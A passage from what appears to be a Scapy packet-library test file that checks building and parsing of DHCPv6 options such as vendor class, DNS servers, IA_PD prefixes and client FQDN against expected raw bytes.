DHCP6OptVendorClass - Basic Dissection a = DHCP6OptVendorClass(b'\x00\x10\x00\x04\x00\x00\x00\x00') a.optcode == 16 and a.optlen == 4 and a.enterprisenum == 0 and a.vcdata == [] = DHCP6OptVendorClass - Instantiation with one vendor class data rawucture raw(DHCP6OptVendorClass(vcdata=[VENDOR_CLASS_DATA(data="something")])) == b'\x00\x10\x00\x0f\x00\x00\x00\x00\x00\tsomething' = DHCP6OptVendorClass - Dissection with one vendor class data rawucture a = DHCP6OptVendorClass(b'\x00\x10\x00\x0f\x00\x00\x00\x00\x00\tsomething') a.optcode == 16 and a.optlen == 15 and a.enterprisenum == 0 and len(a.vcdata) == 1 and isinstance(a.vcdata[0], VENDOR_CLASS_DATA) and a.vcdata[0].len == 9 and a.vcdata[0].data == b'something' = DHCP6OptVendorClass - Instantiation with two vendor class data rawuctures raw(DHCP6OptVendorClass(vcdata=[VENDOR_CLASS_DATA(data="something"), VENDOR_CLASS_DATA(data="somethingelse")])) == b'\x00\x10\x00\x1e\x00\x00\x00\x00\x00\tsomething\x00\rsomethingelse' = DHCP6OptVendorClass - Dissection with two vendor class data rawuctures a = DHCP6OptVendorClass(b'\x00\x10\x00\x1e\x00\x00\x00\x00\x00\tsomething\x00\rsomethingelse') a.optcode == 16 and a.optlen == 30 and a.enterprisenum == 0 and len(a.vcdata) == 2 and isinstance(a.vcdata[0], VENDOR_CLASS_DATA) and isinstance(a.vcdata[1], VENDOR_CLASS_DATA) and a.vcdata[0].len == 9 and a.vcdata[0].data == b'something' and a.vcdata[1].len == 13 and a.vcdata[1].data == b'somethingelse' ############ ############ + Test DHCP6 Option - Vendor-specific information = DHCP6OptVendorSpecificInfo - Basic Instantiation raw(DHCP6OptVendorSpecificInfo()) == b'\x00\x11\x00\x04\x00\x00\x00\x00' = DHCP6OptVendorSpecificInfo - Basic Dissection a = DHCP6OptVendorSpecificInfo(b'\x00\x11\x00\x04\x00\x00\x00\x00') a.optcode == 17 and a.optlen == 4 and a.enterprisenum == 0 = DHCP6OptVendorSpecificInfo - Instantiation with specific values (one option) raw(DHCP6OptVendorSpecificInfo(enterprisenum=0xeeeeeeee, vso=[VENDOR_SPECIFIC_OPTION(optcode=43, optdata="something")])) == b'\x00\x11\x00\x11\xee\xee\xee\xee\x00+\x00\tsomething' = DHCP6OptVendorSpecificInfo - Dissection with with specific values (one option) a = DHCP6OptVendorSpecificInfo(b'\x00\x11\x00\x11\xee\xee\xee\xee\x00+\x00\tsomething') a.optcode == 17 and a.optlen == 17 and a.enterprisenum == 0xeeeeeeee and len(a.vso) == 1 and isinstance(a.vso[0], VENDOR_SPECIFIC_OPTION) and a.vso[0].optlen == 9 and a.vso[0].optdata == b'something' = DHCP6OptVendorSpecificInfo - Instantiation with specific values (two options) raw(DHCP6OptVendorSpecificInfo(enterprisenum=0xeeeeeeee, vso=[VENDOR_SPECIFIC_OPTION(optcode=43, optdata="something"), VENDOR_SPECIFIC_OPTION(optcode=42, optdata="somethingelse")])) == b'\x00\x11\x00"\xee\xee\xee\xee\x00+\x00\tsomething\x00*\x00\rsomethingelse' = DHCP6OptVendorSpecificInfo - Dissection with with specific values (two options) a = DHCP6OptVendorSpecificInfo(b'\x00\x11\x00"\xee\xee\xee\xee\x00+\x00\tsomething\x00*\x00\rsomethingelse') a.optcode == 17 and a.optlen == 34 and a.enterprisenum == 0xeeeeeeee and len(a.vso) == 2 and isinstance(a.vso[0], VENDOR_SPECIFIC_OPTION) and isinstance(a.vso[1], VENDOR_SPECIFIC_OPTION) and a.vso[0].optlen == 9 and a.vso[0].optdata == b'something' and a.vso[1].optlen == 13 and a.vso[1].optdata == b'somethingelse' ############ ############ + Test DHCP6 Option - Interface-Id = DHCP6OptIfaceId - Basic Instantiation raw(DHCP6OptIfaceId()) == b'\x00\x12\x00\x00' = DHCP6OptIfaceId - Basic Dissection a = DHCP6OptIfaceId(b'\x00\x12\x00\x00') a.optcode == 18 and a.optlen == 0 = DHCP6OptIfaceId - Instantiation with specific value raw(DHCP6OptIfaceId(ifaceid="something")) == b'\x00\x12\x00\x09something' = DHCP6OptIfaceId - Dissection with specific value a = DHCP6OptIfaceId(b'\x00\x12\x00\x09something') a.optcode == 18 and a.optlen == 9 and a.ifaceid == b"something" ############ ############ + Test DHCP6 Option - Reconfigure Message = DHCP6OptReconfMsg - Basic Instantiation raw(DHCP6OptReconfMsg()) == b'\x00\x13\x00\x01\x0b' = DHCP6OptReconfMsg - Basic Dissection a = DHCP6OptReconfMsg(b'\x00\x13\x00\x01\x0b') a.optcode == 19 and a.optlen == 1 and a.msgtype == 11 = DHCP6OptReconfMsg - Instantiation with specific values raw(DHCP6OptReconfMsg(optlen=4, msgtype=5)) == b'\x00\x13\x00\x04\x05' = DHCP6OptReconfMsg - Dissection with specific values a = DHCP6OptReconfMsg(b'\x00\x13\x00\x04\x05') a.optcode == 19 and a.optlen == 4 and a.msgtype == 5 ############ ############ + Test DHCP6 Option - Reconfigure Accept = DHCP6OptReconfAccept - Basic Instantiation raw(DHCP6OptReconfAccept()) == b'\x00\x14\x00\x00' = DHCP6OptReconfAccept - Basic Dissection a = DHCP6OptReconfAccept(b'\x00\x14\x00\x00') a.optcode == 20 and a.optlen == 0 = DHCP6OptReconfAccept - Instantiation with specific values raw(DHCP6OptReconfAccept(optlen=23)) == b'\x00\x14\x00\x17' = DHCP6OptReconfAccept - Dssection with specific values a = DHCP6OptReconfAccept(b'\x00\x14\x00\x17') a.optcode == 20 and a.optlen == 23 ############ ############ + Test DHCP6 Option - SIP Servers Domain Name List = DHCP6OptSIPDomains - Basic Instantiation raw(DHCP6OptSIPDomains()) == b'\x00\x15\x00\x00' = DHCP6OptSIPDomains - Basic Dissection a = DHCP6OptSIPDomains(b'\x00\x15\x00\x00') a.optcode == 21 and a.optlen == 0 and a.sipdomains == [] = DHCP6OptSIPDomains - Instantiation with one domain raw(DHCP6OptSIPDomains(sipdomains=["toto.example.org"])) == b'\x00\x15\x00\x12\x04toto\x07example\x03org\x00' = DHCP6OptSIPDomains - Dissection with one domain a = DHCP6OptSIPDomains(b'\x00\x15\x00\x12\x04toto\x07example\x03org\x00') a.optcode == 21 and a.optlen == 18 and len(a.sipdomains) == 1 and a.sipdomains[0] == "toto.example.org." = DHCP6OptSIPDomains - Instantiation with two domains raw(DHCP6OptSIPDomains(sipdomains=["toto.example.org", "titi.example.org"])) == b'\x00\x15\x00$\x04toto\x07example\x03org\x00\x04titi\x07example\x03org\x00' = DHCP6OptSIPDomains - Dissection with two domains a = DHCP6OptSIPDomains(b'\x00\x15\x00$\x04toto\x07example\x03org\x00\x04TITI\x07example\x03org\x00') a.optcode == 21 and a.optlen == 36 and len(a.sipdomains) == 2 and a.sipdomains[0] == "toto.example.org." and a.sipdomains[1] == "TITI.example.org." = DHCP6OptSIPDomains - Enforcing only one dot at end of domain raw(DHCP6OptSIPDomains(sipdomains=["toto.example.org."])) == b'\x00\x15\x00\x12\x04toto\x07example\x03org\x00' ############ ############ + Test DHCP6 Option - SIP Servers IPv6 Address List = DHCP6OptSIPServers - Basic Instantiation raw(DHCP6OptSIPServers()) == b'\x00\x16\x00\x00' = DHCP6OptSIPServers - Basic Dissection a = DHCP6OptSIPServers(b'\x00\x16\x00\x00') a.optcode == 22 and a. optlen == 0 and a.sipservers == [] = DHCP6OptSIPServers - Instantiation with specific values (1 address) raw(DHCP6OptSIPServers(sipservers = ["2001:db8::1"] )) == b'\x00\x16\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptSIPServers - Dissection with specific values (1 address) a = DHCP6OptSIPServers(b'\x00\x16\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 22 and a.optlen == 16 and len(a.sipservers) == 1 and a.sipservers[0] == "2001:db8::1" = DHCP6OptSIPServers - Instantiation with specific values (2 addresses) raw(DHCP6OptSIPServers(sipservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x16\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptSIPServers - Dissection with specific values (2 addresses) a = DHCP6OptSIPServers(b'\x00\x16\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 22 and a.optlen == 32 and len(a.sipservers) == 2 and a.sipservers[0] == "2001:db8::1" and a.sipservers[1] == "2001:db8::2" ############ ############ + Test DHCP6 Option - DNS Recursive Name Server = DHCP6OptDNSServers - Basic Instantiation raw(DHCP6OptDNSServers()) == b'\x00\x17\x00\x00' = DHCP6OptDNSServers - Basic Dissection a = DHCP6OptDNSServers(b'\x00\x17\x00\x00') a.optcode == 23 and a. optlen == 0 and a.dnsservers == [] = DHCP6OptDNSServers - Instantiation with specific values (1 address) raw(DHCP6OptDNSServers(dnsservers = ["2001:db8::1"] )) == b'\x00\x17\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptDNSServers - Dissection with specific values (1 address) a = DHCP6OptDNSServers(b'\x00\x17\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 23 and a.optlen == 16 and len(a.dnsservers) == 1 and a.dnsservers[0] == "2001:db8::1" = DHCP6OptDNSServers - Instantiation with specific values (2 addresses) raw(DHCP6OptDNSServers(dnsservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x17\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptDNSServers - Dissection with specific values (2 addresses) a = DHCP6OptDNSServers(b'\x00\x17\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 23 and a.optlen == 32 and len(a.dnsservers) == 2 and a.dnsservers[0] == "2001:db8::1" and a.dnsservers[1] == "2001:db8::2" ############ ############ + Test DHCP6 Option - DNS Domain Search List Option = DHCP6OptDNSDomains - Basic Instantiation raw(DHCP6OptDNSDomains()) == b'\x00\x18\x00\x00' = DHCP6OptDNSDomains - Basic Dissection a = DHCP6OptDNSDomains(b'\x00\x18\x00\x00') a.optcode == 24 and a.optlen == 0 and a.dnsdomains == [] = DHCP6OptDNSDomains - Instantiation with specific values (1 domain) raw(DHCP6OptDNSDomains(dnsdomains=["toto.example.com."])) == b'\x00\x18\x00\x12\x04toto\x07example\x03com\x00' = DHCP6OptDNSDomains - Dissection with specific values (1 domain) a = DHCP6OptDNSDomains(b'\x00\x18\x00\x12\x04toto\x07example\x03com\x00') a.optcode == 24 and a.optlen == 18 and len(a.dnsdomains) == 1 and a.dnsdomains[0] == "toto.example.com." = DHCP6OptDNSDomains - Instantiation with specific values (2 domains) raw(DHCP6OptDNSDomains(dnsdomains=["toto.example.com.", "titi.example.com."])) == b'\x00\x18\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00' = DHCP6OptDNSDomains - Dissection with specific values (2 domains) a = DHCP6OptDNSDomains(b'\x00\x18\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00') a.optcode == 24 and a.optlen == 36 and len(a.dnsdomains) == 2 and a.dnsdomains[0] == "toto.example.com." and a.dnsdomains[1] == "titi.example.com." ############ ############ + Test DHCP6 Option - IA_PD Prefix Option = DHCP6OptIAPrefix - Basic Instantiation raw(DHCP6OptIAPrefix()) == b'\x00\x1a\x00\x19\x00\x00\x00\x00\x00\x00\x00\x000 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIAPrefix - Basic Dissection a = DHCP6OptIAPrefix(b'\x00\x1a\x00\x19\x00\x00\x00\x00\x00\x00\x00\x000 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 26 and a.optlen == 25 and a.prefix == "2001:db8::" and a.plen == 48 and a.preflft == 0 and a. validlft == 0 and a.iaprefopts == [] = DHCP6OptIAPrefix - Instantiation with specific values raw(DHCP6OptIAPrefix(optlen=0x1111, prefix="1111:2222:3333:4444::", plen=64, preflft=0x66666666, validlft=0x77777777, iaprefopts="somestring")) == b'\x00\x1a\x11\x11ffffwwww@\x11\x11""33DD\x00\x00\x00\x00\x00\x00\x00\x00somestring' = DHCP6OptIAPrefix - Instantiation with specific values (default optlen computation) raw(DHCP6OptIAPrefix(prefix="1111:2222:3333:4444::", plen=64, preflft=0x66666666, validlft=0x77777777, iaprefopts="somestring")) == b'\x00\x1a\x00#ffffwwww@\x11\x11""33DD\x00\x00\x00\x00\x00\x00\x00\x00somestring' = DHCP6OptIAPrefix - Dissection with specific values a = DHCP6OptIAPrefix(b'\x00\x1a\x00#ffffwwww@\x11\x11""33DD\x00\x00\x00\x00\x00\x00\x00\x00somerawing') a.optcode == 26 and a.optlen == 35 and a.prefix == "1111:2222:3333:4444::" and a.plen == 64 and a.preflft == 0x66666666 and a.validlft == 0x77777777 and a.iaprefopts[0].load == b"somerawing" ############ ############ + Test DHCP6 Option - Identity Association for Prefix Delegation = DHCP6OptIA_PD - Basic Instantiation raw(DHCP6OptIA_PD()) == b'\x00\x19\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_PD - Basic Dissection a = DHCP6OptIA_PD(b'\x00\x19\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 25 and a.optlen == 12 and a.iaid == 0 and a.T1 == 0 and a.T2==0 and a.iapdopt == [] = DHCP6OptIA_PD - Instantiation with specific values (keep automatic length computation) print(raw(DHCP6OptIA_PD(iaid=0x22222222, T1=0x33333333, T2=0x44444444))) raw(DHCP6OptIA_PD(iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == b'\x00\x19\x00\x0c""""3333DDDD' = DHCP6OptIA_PD - Instantiation with specific values (forced optlen) raw(DHCP6OptIA_PD(optlen=0x1111, iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == b'\x00\x19\x11\x11""""3333DDDD' = DHCP6OptIA_PD - Instantiation with a list of IA Prefixes (optlen automatic computation) raw(DHCP6OptIA_PD(iaid=0x22222222, T1=0x33333333, T2=0x44444444, iapdopt=[DHCP6OptIAPrefix(), DHCP6OptIAPrefix()])) == b'\x00\x19\x00F""""3333DDDD\x00\x1a\x00\x19\x00\x00\x00\x00\x00\x00\x00\x000 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x19\x00\x00\x00\x00\x00\x00\x00\x000 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_PD - Dissection with specific values a = DHCP6OptIA_PD(b'\x00\x19\x00N""""3333DDDD\x00\x1a\x00\x19\x00\x00\x00\x00\x00\x00\x00\x000 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x19\x00\x00\x00\x00\x00\x00\x00\x000 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 25 and a.optlen == 78 and a.iaid == 0x22222222 and a.T1 == 0x33333333 and a.T2==0x44444444 and len(a.iapdopt) == 2 and isinstance(a.iapdopt[0], DHCP6OptIAPrefix) and isinstance(a.iapdopt[1], DHCP6OptIAPrefix) = DHCP6OptIA_PD - Instantiation with a list of different opts: IA Prefix and Status Code (optlen automatic computation) raw(DHCP6OptIA_PD(iaid=0x22222222, T1=0x33333333, T2=0x44444444, iapdopt=[DHCP6OptIAPrefix(), DHCP6OptStatusCode(statuscode=0xff, statusmsg="Hello")])) == b'\x00\x19\x004""""3333DDDD\x00\x1a\x00\x19\x00\x00\x00\x00\x00\x00\x00\x000 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x00\x07\x00\xffHello' ############ ############ + Test DHCP6 Option - NIS Servers = DHCP6OptNISServers - Basic Instantiation raw(DHCP6OptNISServers()) == b'\x00\x1b\x00\x00' = DHCP6OptNISServers - Basic Dissection a = DHCP6OptNISServers(b'\x00\x1b\x00\x00') a.optcode == 27 and a. optlen == 0 and a.nisservers == [] = DHCP6OptNISServers - Instantiation with specific values (1 address) raw(DHCP6OptNISServers(nisservers = ["2001:db8::1"] )) == b'\x00\x1b\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptNISServers - Dissection with specific values (1 address) a = DHCP6OptNISServers(b'\x00\x1b\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 27 and a.optlen == 16 and len(a.nisservers) == 1 and a.nisservers[0] == "2001:db8::1" = DHCP6OptNISServers - Instantiation with specific values (2 addresses) raw(DHCP6OptNISServers(nisservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x1b\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptNISServers - Dissection with specific values (2 addresses) a = DHCP6OptNISServers(b'\x00\x1b\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 27 and a.optlen == 32 and len(a.nisservers) == 2 and a.nisservers[0] == "2001:db8::1" and a.nisservers[1] == "2001:db8::2" ############ ############ + Test DHCP6 Option - NIS+ Servers = DHCP6OptNISPServers - Basic Instantiation raw(DHCP6OptNISPServers()) == b'\x00\x1c\x00\x00' = DHCP6OptNISPServers - Basic Dissection a = DHCP6OptNISPServers(b'\x00\x1c\x00\x00') a.optcode == 28 and a. optlen == 0 and a.nispservers == [] = DHCP6OptNISPServers - Instantiation with specific values (1 address) raw(DHCP6OptNISPServers(nispservers = ["2001:db8::1"] )) == b'\x00\x1c\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptNISPServers - Dissection with specific values (1 address) a = DHCP6OptNISPServers(b'\x00\x1c\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 28 and a.optlen == 16 and len(a.nispservers) == 1 and a.nispservers[0] == "2001:db8::1" = DHCP6OptNISPServers - Instantiation with specific values (2 addresses) raw(DHCP6OptNISPServers(nispservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x1c\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptNISPServers - Dissection with specific values (2 addresses) a = DHCP6OptNISPServers(b'\x00\x1c\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 28 and a.optlen == 32 and len(a.nispservers) == 2 and a.nispservers[0] == "2001:db8::1" and a.nispservers[1] == "2001:db8::2" ############ ############ + Test DHCP6 Option - NIS Domain Name = DHCP6OptNISDomain - Basic Instantiation raw(DHCP6OptNISDomain()) == b'\x00\x1d\x00\x01\x00' = DHCP6OptNISDomain - Basic Dissection a = DHCP6OptNISDomain(b'\x00\x1d\x00\x00') a.optcode == 29 and a.optlen == 0 and a.nisdomain == b"." = DHCP6OptNISDomain - Instantiation with one domain name raw(DHCP6OptNISDomain(nisdomain="toto.example.org")) == b'\x00\x1d\x00\x12\x04toto\x07example\x03org\x00' = DHCP6OptNISDomain - Dissection with one domain name a = DHCP6OptNISDomain(b'\x00\x1d\x00\x11\x04toto\x07example\x03org\x00') a.optcode == 29 and a.optlen == 17 and a.nisdomain == b"toto.example.org." = DHCP6OptNISDomain - Instantiation with one domain with trailing dot raw(DHCP6OptNISDomain(nisdomain="toto.example.org.")) == b'\x00\x1d\x00\x12\x04toto\x07example\x03org\x00' ############ ############ + Test DHCP6 Option - NIS+ Domain Name = DHCP6OptNISPDomain - Basic Instantiation raw(DHCP6OptNISPDomain()) == b'\x00\x1e\x00\x01\x00' = DHCP6OptNISPDomain - Basic Dissection a = DHCP6OptNISPDomain(b'\x00\x1e\x00\x00') a.optcode == 30 and a.optlen == 0 and a.nispdomain == b"." = DHCP6OptNISPDomain - Instantiation with one domain name raw(DHCP6OptNISPDomain(nispdomain="toto.example.org")) == b'\x00\x1e\x00\x12\x04toto\x07example\x03org\x00' = DHCP6OptNISPDomain - Dissection with one domain name a = DHCP6OptNISPDomain(b'\x00\x1e\x00\x12\x04toto\x07example\x03org\x00') a.optcode == 30 and a.optlen == 18 and a.nispdomain == b"toto.example.org." = DHCP6OptNISPDomain - Instantiation with one domain with trailing dot raw(DHCP6OptNISPDomain(nispdomain="toto.example.org.")) == b'\x00\x1e\x00\x12\x04toto\x07example\x03org\x00' ############ ############ + Test DHCP6 Option - SNTP Servers = DHCP6OptSNTPServers - Basic Instantiation raw(DHCP6OptSNTPServers()) == b'\x00\x1f\x00\x00' = DHCP6OptSNTPServers - Basic Dissection a = DHCP6OptSNTPServers(b'\x00\x1f\x00\x00') a.optcode == 31 and a. optlen == 0 and a.sntpservers == [] = DHCP6OptSNTPServers - Instantiation with specific values (1 address) raw(DHCP6OptSNTPServers(sntpservers = ["2001:db8::1"] )) == b'\x00\x1f\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptSNTPServers - Dissection with specific values (1 address) a = DHCP6OptSNTPServers(b'\x00\x1f\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 31 and a.optlen == 16 and len(a.sntpservers) == 1 and a.sntpservers[0] == "2001:db8::1" = DHCP6OptSNTPServers - Instantiation with specific values (2 addresses) raw(DHCP6OptSNTPServers(sntpservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x1f\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptSNTPServers - Dissection with specific values (2 addresses) a = DHCP6OptSNTPServers(b'\x00\x1f\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 31 and a.optlen == 32 and len(a.sntpservers) == 2 and a.sntpservers[0] == "2001:db8::1" and a.sntpservers[1] == "2001:db8::2" ############ ############ + Test DHCP6 Option - Information Refresh Time = DHCP6OptInfoRefreshTime - Basic Instantiation raw(DHCP6OptInfoRefreshTime()) == b'\x00 \x00\x04\x00\x01Q\x80' = DHCP6OptInfoRefreshTime - Basic Dissction a = DHCP6OptInfoRefreshTime(b'\x00 \x00\x04\x00\x01Q\x80') a.optcode == 32 and a.optlen == 4 and a.reftime == 86400 = DHCP6OptInfoRefreshTime - Instantiation with specific values raw(DHCP6OptInfoRefreshTime(optlen=7, reftime=42)) == b'\x00 \x00\x07\x00\x00\x00*' ############ ############ + Test DHCP6 Option - BCMCS Servers = DHCP6OptBCMCSServers - Basic Instantiation raw(DHCP6OptBCMCSServers()) == b'\x00"\x00\x00' = DHCP6OptBCMCSServers - Basic Dissection a = DHCP6OptBCMCSServers(b'\x00"\x00\x00') a.optcode == 34 and a. optlen == 0 and a.bcmcsservers == [] = DHCP6OptBCMCSServers - Instantiation with specific values (1 address) raw(DHCP6OptBCMCSServers(bcmcsservers = ["2001:db8::1"] )) == b'\x00"\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptBCMCSServers - Dissection with specific values (1 address) a = DHCP6OptBCMCSServers(b'\x00"\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 34 and a.optlen == 16 and len(a.bcmcsservers) == 1 and a.bcmcsservers[0] == "2001:db8::1" = DHCP6OptBCMCSServers - Instantiation with specific values (2 addresses) raw(DHCP6OptBCMCSServers(bcmcsservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00"\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptBCMCSServers - Dissection with specific values (2 addresses) a = DHCP6OptBCMCSServers(b'\x00"\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 34 and a.optlen == 32 and len(a.bcmcsservers) == 2 and a.bcmcsservers[0] == "2001:db8::1" and a.bcmcsservers[1] == "2001:db8::2" ############ ############ + Test DHCP6 Option - BCMCS Domains = DHCP6OptBCMCSDomains - Basic Instantiation raw(DHCP6OptBCMCSDomains()) == b'\x00!\x00\x00' = DHCP6OptBCMCSDomains - Basic Dissection a = DHCP6OptBCMCSDomains(b'\x00!\x00\x00') a.optcode == 33 and a.optlen == 0 and a.bcmcsdomains == [] = DHCP6OptBCMCSDomains - Instantiation with specific values (1 domain) raw(DHCP6OptBCMCSDomains(bcmcsdomains=["toto.example.com."])) == b'\x00!\x00\x12\x04toto\x07example\x03com\x00' = DHCP6OptBCMCSDomains - Dissection with specific values (1 domain) a = DHCP6OptBCMCSDomains(b'\x00!\x00\x12\x04toto\x07example\x03com\x00') a.optcode == 33 and a.optlen == 18 and len(a.bcmcsdomains) == 1 and a.bcmcsdomains[0] == "toto.example.com." = DHCP6OptBCMCSDomains - Instantiation with specific values (2 domains) raw(DHCP6OptBCMCSDomains(bcmcsdomains=["toto.example.com.", "titi.example.com."])) == b'\x00!\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00' = DHCP6OptBCMCSDomains - Dissection with specific values (2 domains) a = DHCP6OptBCMCSDomains(b'\x00!\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00') a.optcode == 33 and a.optlen == 36 and len(a.bcmcsdomains) == 2 and a.bcmcsdomains[0] == "toto.example.com." and a.bcmcsdomains[1] == "titi.example.com." ############ ############ + Test DHCP6 Option - Relay Agent Remote-ID = DHCP6OptRemoteID - Basic Instantiation raw(DHCP6OptRemoteID()) == b'\x00%\x00\x04\x00\x00\x00\x00' = DHCP6OptRemoteID - Basic Dissection a = DHCP6OptRemoteID(b'\x00%\x00\x04\x00\x00\x00\x00') a.optcode == 37 and a.optlen == 4 and a.enterprisenum == 0 and a.remoteid == b"" = DHCP6OptRemoteID - Instantiation with specific values raw(DHCP6OptRemoteID(enterprisenum=0xeeeeeeee, remoteid="someid")) == b'\x00%\x00\n\xee\xee\xee\xeesomeid' = DHCP6OptRemoteID - Dissection with specific values a = DHCP6OptRemoteID(b'\x00%\x00\n\xee\xee\xee\xeesomeid') a.optcode == 37 and a.optlen == 10 and a.enterprisenum == 0xeeeeeeee and a.remoteid == b"someid" ############ ############ + Test DHCP6 Option - Subscriber ID = DHCP6OptSubscriberID - Basic Instantiation raw(DHCP6OptSubscriberID()) == b'\x00&\x00\x00' = DHCP6OptSubscriberID - Basic Dissection a = DHCP6OptSubscriberID(b'\x00&\x00\x00') a.optcode == 38 and a.optlen == 0 and a.subscriberid == b"" = DHCP6OptSubscriberID - Instantiation with specific values raw(DHCP6OptSubscriberID(subscriberid="someid")) == b'\x00&\x00\x06someid' = DHCP6OptSubscriberID - Dissection with specific values a = DHCP6OptSubscriberID(b'\x00&\x00\x06someid') a.optcode == 38 and a.optlen == 6 and a.subscriberid == b"someid" ############ ############ + Test DHCP6 Option - Client FQDN = DHCP6OptClientFQDN - Basic Instantiation raw(DHCP6OptClientFQDN()) == b"\x00'\x00\x02\x00\x00" = DHCP6OptClientFQDN - Basic Dissection a = DHCP6OptClientFQDN(b"\x00'\x00\x01\x00") a.optcode == 39 and a.optlen == 1 and a.res == 0 and a.flags == 0 and a.fqdn == b"." = DHCP6OptClientFQDN - Instantiation with various flags combinations raw(DHCP6OptClientFQDN(flags="S")) == b"\x00'\x00\x02\x01\x00" and raw(DHCP6OptClientFQDN(flags="O")) == b"\x00'\x00\x02\x02\x00" and raw(DHCP6OptClientFQDN(flags="N")) == b"\x00'\x00\x02\x04\x00" and raw(DHCP6OptClientFQDN(flags="SON")) == b"\x00'\x00\x02\x07\x00" and raw(DHCP6OptClientFQDN(flags="ON")) == b"\x00'\x00\x02\x06\x00" = DHCP6OptClientFQDN - Instantiation with one fqdn raw(DHCP6OptClientFQDN(fqdn="toto.example.org")) == b"\x00'\x00\x13\x00\x04toto\x07example\x03org\x00" = DHCP6OptClientFQDN - Dissection with one fqdn a = DHCP6OptClientFQDN(b"\x00'\x00\x12\x00\x04toto\x07example\x03org\x00") a.optcode == 39 and a.optlen == 18 and a.res == 0 and a.flags == 0 and a.fqdn == b"toto.example.org." ############ ############ + Test DHCP6 Option PANA Auth Agent = 